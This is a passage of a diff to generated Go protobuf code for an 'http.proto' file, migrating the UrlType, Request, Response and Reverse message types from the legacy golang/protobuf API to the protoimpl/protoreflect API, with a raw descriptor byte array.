-// is compatible with the proto package it is being compiled against.
-// A compilation error at this line likely means your copy of the
-// proto package needs to be updated.
-const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
+const (
+	// Verify that this generated code is sufficiently up-to-date.
+	_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
+	// Verify that runtime/protoimpl is sufficiently up-to-date.
+	_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
+)
 
 type UrlType struct {
-	Scheme               string   `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
-	Domain               string   `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
-	Host                 string   `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
-	Port                 string   `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
-	Path                 string   `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
-	Query                string   `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
-	Fragment             string   `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
-	XXX_NoUnkeyedLiteral struct{} `json:"-"`
-	XXX_unrecognized     []byte   `json:"-"`
-	XXX_sizecache        int32    `json:"-"`
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Scheme   string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
+	Domain   string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
+	Host     string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
+	Port     string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
+	Path     string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
+	Query    string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
+	Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
 }
 
-func (m *UrlType) Reset()         { *m = UrlType{} }
-func (m *UrlType) String() string { return proto.CompactTextString(m) }
-func (*UrlType) ProtoMessage()    {}
+func (x *UrlType) Reset() {
+	*x = UrlType{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_http_proto_msgTypes[0]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *UrlType) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*UrlType) ProtoMessage() {}
+
+func (x *UrlType) ProtoReflect() protoreflect.Message {
+	mi := &file_http_proto_msgTypes[0]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use UrlType.ProtoReflect.Descriptor instead.
 func (*UrlType) Descriptor() ([]byte, []int) {
-	return fileDescriptor_11b04836674e6f94, []int{0}
+	return file_http_proto_rawDescGZIP(), []int{0}
 }
 
-func (m *UrlType) XXX_Unmarshal(b []byte) error {
-	return xxx_messageInfo_UrlType.Unmarshal(m, b)
-}
-func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
-	return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
-}
-func (m *UrlType) XXX_Merge(src proto.Message) {
-	xxx_messageInfo_UrlType.Merge(m, src)
-}
-func (m *UrlType) XXX_Size() int {
-	return xxx_messageInfo_UrlType.Size(m)
-}
-func (m *UrlType) XXX_DiscardUnknown() {
-	xxx_messageInfo_UrlType.DiscardUnknown(m)
-}
-
-var xxx_messageInfo_UrlType proto.InternalMessageInfo
-
-func (m *UrlType) GetScheme() string {
-	if m != nil {
-		return m.Scheme
+func (x *UrlType) GetScheme() string {
+	if x != nil {
+		return x.Scheme
 	}
 	return ""
 }
 
-func (m *UrlType) GetDomain() string {
-	if m != nil {
-		return m.Domain
+func (x *UrlType) GetDomain() string {
+	if x != nil {
+		return x.Domain
 	}
 	return ""
 }
 
-func (m *UrlType) GetHost() string {
-	if m != nil {
-		return m.Host
+func (x *UrlType) GetHost() string {
+	if x != nil {
+		return x.Host
 	}
 	return ""
 }
 
-func (m *UrlType) GetPort() string {
-	if m != nil {
-		return m.Port
+func (x *UrlType) GetPort() string {
+	if x != nil {
+		return x.Port
 	}
 	return ""
 }
 
-func (m *UrlType) GetPath() string {
-	if m != nil {
-		return m.Path
+func (x *UrlType) GetPath() string {
+	if x != nil {
+		return x.Path
 	}
 	return ""
 }
 
-func (m *UrlType) GetQuery() string {
-	if m != nil {
-		return m.Query
+func (x *UrlType) GetQuery() string {
+	if x != nil {
+		return x.Query
 	}
 	return ""
 }
 
-func (m *UrlType) GetFragment() string {
-	if m != nil {
-		return m.Fragment
+func (x *UrlType) GetFragment() string {
+	if x != nil {
+		return x.Fragment
 	}
 	return ""
 }
 
 type Request struct {
-	Url                  *UrlType          `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
-	Method               string            `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
-	Headers              map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
-	ContentType          string            `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
-	Body                 []byte            `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
-	XXX_NoUnkeyedLiteral struct{}          `json:"-"`
-	XXX_unrecognized     []byte            `json:"-"`
-	XXX_sizecache        int32             `json:"-"`
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Url         *UrlType          `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
+	Method      string            `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
+	Headers     map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
+	ContentType string            `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
+	Body        []byte            `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
 }
 
-func (m *Request) Reset()         { *m = Request{} }
-func (m *Request) String() string { return proto.CompactTextString(m) }
-func (*Request) ProtoMessage()    {}
+func (x *Request) Reset() {
+	*x = Request{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_http_proto_msgTypes[1]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *Request) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Request) ProtoMessage() {}
+
+func (x *Request) ProtoReflect() protoreflect.Message {
+	mi := &file_http_proto_msgTypes[1]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use Request.ProtoReflect.Descriptor instead.
 func (*Request) Descriptor() ([]byte, []int) {
-	return fileDescriptor_11b04836674e6f94, []int{1}
+	return file_http_proto_rawDescGZIP(), []int{1}
 }
 
-func (m *Request) XXX_Unmarshal(b []byte) error {
-	return xxx_messageInfo_Request.Unmarshal(m, b)
-}
-func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
-	return xxx_messageInfo_Request.Marshal(b, m, deterministic)
-}
-func (m *Request) XXX_Merge(src proto.Message) {
-	xxx_messageInfo_Request.Merge(m, src)
-}
-func (m *Request) XXX_Size() int {
-	return xxx_messageInfo_Request.Size(m)
-}
-func (m *Request) XXX_DiscardUnknown() {
-	xxx_messageInfo_Request.DiscardUnknown(m)
-}
-
-var xxx_messageInfo_Request proto.InternalMessageInfo
-
-func (m *Request) GetUrl() *UrlType {
-	if m != nil {
-		return m.Url
+func (x *Request) GetUrl() *UrlType {
+	if x != nil {
+		return x.Url
 	}
 	return nil
 }
 
-func (m *Request) GetMethod() string {
-	if m != nil {
-		return m.Method
+func (x *Request) GetMethod() string {
+	if x != nil {
+		return x.Method
 	}
 	return ""
 }
 
-func (m *Request) GetHeaders() map[string]string {
-	if m != nil {
-		return m.Headers
+func (x *Request) GetHeaders() map[string]string {
+	if x != nil {
+		return x.Headers
 	}
 	return nil
 }
 
-func (m *Request) GetContentType() string {
-	if m != nil {
-		return m.ContentType
+func (x *Request) GetContentType() string {
+	if x != nil {
+		return x.ContentType
 	}
 	return ""
 }
 
-func (m *Request) GetBody() []byte {
-	if m != nil {
-		return m.Body
+func (x *Request) GetBody() []byte {
+	if x != nil {
+		return x.Body
 	}
 	return nil
 }
 
 type Response struct {
-	Url                  *UrlType          `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
-	Status               int32             `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
-	Headers              map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
-	ContentType          string            `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
-	Body                 []byte            `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
-	XXX_NoUnkeyedLiteral struct{}          `json:"-"`
-	XXX_unrecognized     []byte            `json:"-"`
-	XXX_sizecache        int32             `json:"-"`
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Url         *UrlType          `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
+	Status      int32             `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
+	Headers     map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
+	ContentType string            `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
+	Body        []byte            `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
+	Duration    float64           `protobuf:"fixed64,6,opt,name=duration,proto3" json:"duration,omitempty"`
 }
 
-func (m *Response) Reset()         { *m = Response{} }
-func (m *Response) String() string { return proto.CompactTextString(m) }
-func (*Response) ProtoMessage()    {}
+func (x *Response) Reset() {
+	*x = Response{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_http_proto_msgTypes[2]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *Response) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Response) ProtoMessage() {}
+
+func (x *Response) ProtoReflect() protoreflect.Message {
+	mi := &file_http_proto_msgTypes[2]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use Response.ProtoReflect.Descriptor instead.
 func (*Response) Descriptor() ([]byte, []int) {
-	return fileDescriptor_11b04836674e6f94, []int{2}
+	return file_http_proto_rawDescGZIP(), []int{2}
 }
 
-func (m *Response) XXX_Unmarshal(b []byte) error {
-	return xxx_messageInfo_Response.Unmarshal(m, b)
-}
-func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
-	return xxx_messageInfo_Response.Marshal(b, m, deterministic)
-}
-func (m *Response) XXX_Merge(src proto.Message) {
-	xxx_messageInfo_Response.Merge(m, src)
-}
-func (m *Response) XXX_Size() int {
-	return xxx_messageInfo_Response.Size(m)
-}
-func (m *Response) XXX_DiscardUnknown() {
-	xxx_messageInfo_Response.DiscardUnknown(m)
-}
-
-var xxx_messageInfo_Response proto.InternalMessageInfo
-
-func (m *Response) GetUrl() *UrlType {
-	if m != nil {
-		return m.Url
+func (x *Response) GetUrl() *UrlType {
+	if x != nil {
+		return x.Url
 	}
 	return nil
 }
 
-func (m *Response) GetStatus() int32 {
-	if m != nil {
-		return m.Status
+func (x *Response) GetStatus() int32 {
+	if x != nil {
+		return x.Status
 	}
 	return 0
 }
 
-func (m *Response) GetHeaders() map[string]string {
-	if m != nil {
-		return m.Headers
+func (x *Response) GetHeaders() map[string]string {
+	if x != nil {
+		return x.Headers
 	}
 	return nil
 }
 
-func (m *Response) GetContentType() string {
-	if m != nil {
-		return m.ContentType
+func (x *Response) GetContentType() string {
+	if x != nil {
+		return x.ContentType
 	}
 	return ""
 }
 
-func (m *Response) GetBody() []byte {
-	if m != nil {
-		return m.Body
+func (x *Response) GetBody() []byte {
+	if x != nil {
+		return x.Body
 	}
 	return nil
 }
 
+func (x *Response) GetDuration() float64 {
+	if x != nil {
+		return x.Duration
+	}
+	return 0
+}
+
 type Reverse struct {
-	Url                  *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
-	Domain               string   `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
-	Ip                   string   `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
-	IsDomainNameServer   bool     `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
-	XXX_NoUnkeyedLiteral struct{} `json:"-"`
-	XXX_unrecognized     []byte   `json:"-"`
-	XXX_sizecache        int32    `json:"-"`
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Url                string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
+	Domain             string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
+	Ip                 string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
+	IsDomainNameServer bool   `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
 }
 
-func (m *Reverse) Reset()         { *m = Reverse{} }
-func (m *Reverse) String() string { return proto.CompactTextString(m) }
-func (*Reverse) ProtoMessage()    {}
+func (x *Reverse) Reset() {
+	*x = Reverse{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_http_proto_msgTypes[3]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *Reverse) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Reverse) ProtoMessage() {}
+
+func (x *Reverse) ProtoReflect() protoreflect.Message {
+	mi := &file_http_proto_msgTypes[3]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use Reverse.ProtoReflect.Descriptor instead.
 func (*Reverse) Descriptor() ([]byte, []int) {
-	return fileDescriptor_11b04836674e6f94, []int{3}
+	return file_http_proto_rawDescGZIP(), []int{3}
 }
 
-func (m *Reverse) XXX_Unmarshal(b []byte) error {
-	return xxx_messageInfo_Reverse.Unmarshal(m, b)
-}
-func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
-	return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
-}
-func (m *Reverse) XXX_Merge(src proto.Message) {
-	xxx_messageInfo_Reverse.Merge(m, src)
-}
-func (m *Reverse) XXX_Size() int {
-	return xxx_messageInfo_Reverse.Size(m)
-}
-func (m *Reverse) XXX_DiscardUnknown() {
-	xxx_messageInfo_Reverse.DiscardUnknown(m)
-}
-
-var xxx_messageInfo_Reverse proto.InternalMessageInfo
-
-func (m *Reverse) GetUrl() *UrlType {
-	if m != nil {
-		return m.Url
-	}
-	return nil
-}
-
-func (m *Reverse) GetDomain() string {
-	if m != nil {
-		return m.Domain
+func (x *Reverse) GetUrl() string {
+	if x != nil {
+		return x.Url
 	}
 	return ""
 }
 
-func (m *Reverse) GetIp() string {
-	if m != nil {
-		return m.Ip
+func (x *Reverse) GetDomain() string {
+	if x != nil {
+		return x.Domain
 	}
 	return ""
 }
 
-func (m *Reverse) GetIsDomainNameServer() bool {
-	if m != nil {
-		return m.IsDomainNameServer
+func (x *Reverse) GetIp() string {
+	if x != nil {
+		return x.Ip
+	}
+	return ""
+}
+
+func (x *Reverse) GetIsDomainNameServer() bool {
+	if x != nil {
+		return x.IsDomainNameServer
 	}
 	return false
 }
 
-func init() {
-	proto.RegisterType((*UrlType)(nil), "lib.UrlType")
-	proto.RegisterType((*Request)(nil), "lib.Request")
-	proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
-	proto.RegisterType((*Response)(nil), "lib.Response")
-	proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
-	proto.RegisterType((*Reverse)(nil), "lib.Reverse")
+var File_http_proto protoreflect.FileDescriptor
+
+var file_http_proto_rawDesc = []byte{
+	0x0a, 0x0a, 0x68, 0x74, 0x74, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x03, 0x6c, 0x69,
+	0x62, 0x22, 0xa7, 0x01, 0x0a, 0x07, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a,
+	0x06, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73,
+	0x63, 0x68, 0x65, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18,
+	0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a,
+	0x04, 0x68, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x68, 0x6f, 0x73,
+	0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
+	0x04, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x05, 0x20,
+	0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x71, 0x75, 0x65,
+	0x72, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12,
+	0x1a, 0x0a, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28,
+	0x09, 0x52, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0xe9, 0x01, 0x0a, 0x07,
+	0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01,
+	0x20, 0x01, 0x28, 0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79,
+	0x70, 0x65, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f,
+	0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12,
+	0x33, 0x0a, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b,
+	0x32, 0x19, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x48,
+	0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61,
+	0x64, 0x65, 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f,
+	0x74, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74,
+	0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18,
+	0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x1a, 0x3a, 0x0a, 0x0c, 0x48,
+	0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b,
+	0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a,
+	0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61,
+	0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x87, 0x02, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70,
+	0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28,
+	0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x52,
+	0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x02,
+	0x20, 0x01, 0x28, 0x05, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x34, 0x0a, 0x07,
+	0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e,
+	0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x48, 0x65, 0x61,
+	0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65,
+	0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f, 0x74, 0x79,
+	0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e,
+	0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18, 0x05, 0x20,
+	0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x75, 0x72,
+	0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x01, 0x52, 0x08, 0x64, 0x75, 0x72,
+	0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x3a, 0x0a, 0x0c, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73,
+	0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01,
+	0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,
+	0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38,
+	0x01, 0x22, 0x76, 0x0a, 0x07, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03,
+	0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16,
+	0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06,
+	0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x70, 0x18, 0x03, 0x20, 0x01,
+	0x28, 0x09, 0x52, 0x02, 0x69, 0x70, 0x12, 0x31, 0x0a, 0x15, 0x69, 0x73, 0x5f, 0x64, 0x6f, 0x6d,
+	0x61, 0x69, 0x6e, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18,
+	0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x69, 0x73, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4e,
+	0x61, 0x6d, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x42, 0x08, 0x5a, 0x06, 0x2e, 0x2f, 0x3b,
+	0x6c, 0x69, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
 }
 
-func init() {
-	proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
+var (
+	file_http_proto_rawDescOnce sync.Once
+	file_http_proto_rawDescData = file_http_proto_rawDesc
+)
+
+func file_http_proto_rawDescGZIP() []byte {
+	file_http_proto_rawDescOnce.Do(func() {
+		file_http_proto_rawDescData = protoimpl.X.CompressGZIP(file_http_proto_rawDescData)
+	})
+	return file_http_proto_rawDescData
 }
 
-var fileDescriptor_11b04836674e6f94 = []byte{
-	// 378 bytes of a gzipped FileDescriptorProto
-	0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
-	0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
-	0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
-	0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
-	0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
-	0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
-	0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
-	0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
-	0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
-	0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
-	0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
-	0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
-	0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
-	0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
-	0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
-	0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
